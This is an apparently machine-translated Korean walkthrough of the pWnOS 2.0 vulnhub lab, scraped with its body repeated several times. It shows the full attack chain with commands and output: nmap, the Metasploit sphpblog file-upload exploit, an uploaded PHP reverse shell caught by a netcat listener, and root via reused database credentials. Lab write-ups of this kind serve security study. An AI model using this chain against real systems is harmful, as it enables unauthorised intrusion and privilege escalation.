vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)
vulnhub의 의도적으로 취약성이 만들어진 pWnOS: 2.0 (Pre-Release)의 Walkthrough입니다.
vulnhub 정보
이름
pWnOS: 2.0 (Pre-Release)
Date release
4 Jul 2011
작성자
pWnOS
시리즈
pWnOS
웹 페이지
htp // pw의 s. 코m/
PortScan:
ssh
및 Apache
가 실행 중입니다.
PORT
서비스
VERSION
22
ssh
OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80
http
Apache httpd 2.2.17 ((Ubuntu))
root@kali:~# nmap -sS -sV 10.10.10.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 20:03 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 08:00:27:75:1D:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
Enumeration:
Simple Blog 0.4.0
의 CMS 툴을 사용하고 있는 것을 알았습니다.
SimpleBlog
라는 CMS는 sphpblog
라고도하는 것으로 보이며, 버전 0.4.0
에는 취약점이 있습니다.
root@kali:~# msfconsole
msf5 > search sphpblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/sphpblog_file_upload 2005-08-25 excellent Yes Simple PHP Blog Remote Command Execution
Exploitation:
취약점이 존재하는 것으로 확인되었으므로 metasploit
를 사용하여 exploit합니다.
exploit의 실행 결과, 쉘의 획득은 할 수 없었습니다.
하지만 로그인 ID가 발행되고 있어 로그인을 할 수 있었습니다.
[+] Successfully logged in as J5xlbv:J60g8E
msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.
Upload를 실시하는 장소가 있었으므로, 우선 리버스 쉘(kali linux 동고의 php-reverse-shell.php)을 업로드 해 보겠습니다.
무사히 업로드 할 수있는 모양입니다.
리버스 쉘을 실행했을 때 접속할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
16:46:36 up 48 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 16:01 45:22 0.21s 0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
Privilege Escalation:
접속처를 조사하고 있으면, /var
했는데 gmysqli_connect.php
가 있어 root
의 유저 정보가 있었습니다.
$pwd
pwd
/var
$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
방금 찾은 사용자 정보로 root 권한을 얻을 수 있었습니다.
$ su root
su root
Password: root@ISIntS
root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/5acff84a9cf40e78b61d
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
ssh
및 Apache
가 실행 중입니다.PORT
서비스
VERSION
22
ssh
OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80
http
Apache httpd 2.2.17 ((Ubuntu))
root@kali:~# nmap -sS -sV 10.10.10.100
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-10 20:03 JST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.100
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 08:00:27:75:1D:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.17 seconds
Enumeration:
Simple Blog 0.4.0
의 CMS 툴을 사용하고 있는 것을 알았습니다.
SimpleBlog
라는 CMS는 sphpblog
라고도하는 것으로 보이며, 버전 0.4.0
에는 취약점이 있습니다.
root@kali:~# msfconsole
msf5 > search sphpblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/sphpblog_file_upload 2005-08-25 excellent Yes Simple PHP Blog Remote Command Execution
Exploitation:
취약점이 존재하는 것으로 확인되었으므로 metasploit
를 사용하여 exploit합니다.
exploit의 실행 결과, 쉘의 획득은 할 수 없었습니다.
하지만 로그인 ID가 발행되고 있어 로그인을 할 수 있었습니다.
[+] Successfully logged in as J5xlbv:J60g8E
msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.
Upload를 실시하는 장소가 있었으므로, 우선 리버스 쉘(kali linux 동고의 php-reverse-shell.php)을 업로드 해 보겠습니다.
무사히 업로드 할 수있는 모양입니다.
리버스 쉘을 실행했을 때 접속할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
16:46:36 up 48 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 16:01 45:22 0.21s 0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
Privilege Escalation:
접속처를 조사하고 있으면, /var
했는데 gmysqli_connect.php
가 있어 root
의 유저 정보가 있었습니다.
$pwd
pwd
/var
$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
방금 찾은 사용자 정보로 root 권한을 얻을 수 있었습니다.
$ su root
su root
Password: root@ISIntS
root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/5acff84a9cf40e78b61d
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
root@kali:~# msfconsole
msf5 > search sphpblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/sphpblog_file_upload 2005-08-25 excellent Yes Simple PHP Blog Remote Command Execution
취약점이 존재하는 것으로 확인되었으므로
metasploit
를 사용하여 exploit합니다.exploit의 실행 결과, 쉘의 획득은 할 수 없었습니다.
하지만 로그인 ID가 발행되고 있어 로그인을 할 수 있었습니다.
[+] Successfully logged in as J5xlbv:J60g8E
msf5 exploit(unix/webapp/sphpblog_file_upload) > set RHOST 10.10.10.100
RHOST => 10.10.10.100
msf5 exploit(unix/webapp/sphpblog_file_upload) > set URI /blog
URI => /blog
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
msf5 exploit(unix/webapp/sphpblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.10.23:4444
[+] Successfully retrieved hash: $1$bQ1Zx6r.$YuFIUQKUSFrId4cMAp//b.
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as J5xlbv:J60g8E
[-] Error retrieving cookie!
[+] Successfully Uploaded medqGCz2aIwuIkwaJAK6.php
[+] Successfully Uploaded akLzPlK3kcl4EHPPnin0.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/medqGCz2aIwuIkwaJAK6.php
[*] Calling payload: /images/akLzPlK3kcl4EHPPnin0.php
[+] Successfully removed /images/akLzPlK3kcl4EHPPnin0.php
[*] Exploit completed, but no session was created.
Upload를 실시하는 장소가 있었으므로, 우선 리버스 쉘(kali linux 동고의 php-reverse-shell.php)을 업로드 해 보겠습니다.
무사히 업로드 할 수있는 모양입니다.
리버스 쉘을 실행했을 때 접속할 수 있었습니다.
root@kali:~# netcat -lvp 1234
listening on [any] 1234 ...
10.10.10.100: inverse host lookup failed: Host name lookup failure
connect to [10.10.10.23] from (UNKNOWN) [10.10.10.100] 32808
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
16:46:36 up 48 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 16:01 45:22 0.21s 0.19s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
Privilege Escalation:
접속처를 조사하고 있으면, /var
했는데 gmysqli_connect.php
가 있어 root
의 유저 정보가 있었습니다.
$pwd
pwd
/var
$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
방금 찾은 사용자 정보로 root 권한을 얻을 수 있었습니다.
$ su root
su root
Password: root@ISIntS
root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)
면책 조항
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/Mr_e5908de784a1e38197/items/5acff84a9cf40e78b61d
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
$pwd
pwd
/var
$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
$ su root
su root
Password: root@ISIntS
root@web:/var# id
id
uid=0(root) gid=0(root) groups=0(root)
본 기사는 정보 보안에 있어서의 공격의 이해, 방위의 스킬 향상을 목적으로 한 보안에 관한 내용이 있습니다. 본 기사의 내용을 사용하여 발생한 어떠한 손해나 손실에 대해서, 본 기사 작성자는 일절의 책임을 지지 않습니다.
본 기사의 내용을 실제로 사용하여 제3자의 개인이나 조직 등을 공격한 경우는 법률에 의해 처벌될 가능성이 있으므로 반드시 자신이 소유하고 있는 환경만을 대상으로 하여 타인이나 조직 가 소유하고 있는 환경은 결코 대상으로 하지 않도록 부탁합니다.
Reference
이 문제에 관하여(vulnhub Walkthrough:pWnOS: 2.0 (Pre-Release)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/Mr_e5908de784a1e38197/items/5acff84a9cf40e78b61d텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)